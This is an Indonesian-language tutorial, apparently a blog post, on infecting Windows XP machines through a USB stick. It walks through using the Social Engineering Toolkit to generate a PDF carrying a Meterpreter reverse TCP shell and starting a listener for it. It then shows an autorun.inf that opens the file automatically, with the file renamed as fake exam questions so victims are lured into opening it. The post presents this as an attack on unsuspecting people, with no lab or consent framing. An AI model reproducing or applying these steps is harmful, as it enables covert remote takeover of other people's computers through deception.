0 Exploit Windows Menggunakan USB +S.E.T

Tools yang digunakan : SET(Social Engineering Toolkit)
O.S yang digunakan : Backtrack 5
Victim O.S : Windows XP SP3 (fungsi autorun = on)

karena mungkin pemakai flashdisk sudah banyak atau tidak asing lagi
maka saya mencoba exploit korban dengan proses autorun 

langkah-langkah nya

Code:

cd /pentest/exploits/set

lalu masuk ke S.E.T (social engineering toolkits)

Code:

./set

Poc


Pilih Nomor 3 "Infectious File Generator" lalu pilih nomor 1 "File Format Exploit", dan selanjutnya masukkan IP address penyerang(komputer kita)

Poc


Pilih format exploit yang hendak digunakan...disini saya gunakan menggunakan "Adobe PDF Embedded EXE social engineering".

Langkah berikutnya yaitu memilih file PDF yang akan digunakan untuk menyerang.
poc


Kalau misalkan kamu punya file pdf sendiri mending pake yang kamu 
soalnya kalo pake yg ini takut nya ntar pada curiga kan 
yah gak ?
jadi ntar di SET nya pilih no 1

Langkah berikutnya adalah memilih payload atau apa yang ingin kita dapat dari korban jika ia meng-klik exploit yang kita buat. Disini saya memilih nomor 2 "Windows Meterpreter Reverse_TCP shell"

Berikutnya adalah melakukan setting connect back, maksudnya adalah ketika exploit berhasil dijalankan, pada port berapakah kita akan menangkap koneksi tersebut? disini saya gunakan port 80

poc


Ketika muncul pertanyaan "Do you want to create a listener right now? [yes|no]" pilih YES


Semua file yang berhasil di-generate oleh SET tersimpan pada folder /pentest/exploits/set/autorun, tetapi nama file tersebut agak mencurigakan & kurang menarik sehingga lebih baik jika kita rubah terlebih dahulu penamaan file tersebut.
masuk ke folder autorun :

Code:

cd /pentest/exploits/set/autorun

Code:

pico autorun.inf

Didalam file autorun.inf, rubah template.pdf menjadi nama file yang menarik agar korban mau membuka file tersebut. Berikut adalah isi autorun.inf yang saya buat :

Code:

[autorun]
open=Soal_UAS_2011_Aljabar.pdf
icon=autorun.ico

Lalu tekan CTRL + O untuk melakukan SAVE dan CTRL + X untuk keluar.

angkah selanjutnya adalah menamai template.pdf menjadi nama yang telah kita definisikan pada autorun.inf dengan perintah mv.
mv template.pdf Soal_UAS_2011_Aljabar.pdf

Selesai sudah, selanjutnya tinggal meng-copy kan semua file yang ada dalam folder autorun tersebut ke dalam USB anda.

Ketika victim mencolokkan USB dan autorun komputernya dalam keadaan aktif, maka ia akan otomatis membuka file PDF yang tadi telah kita buat.

Ketika ia meng-klik OK untuk setiap alert yang muncul, maka :

poc final



special thanks : THJC,Indonesian Backtrack Team

Artikel Terkait :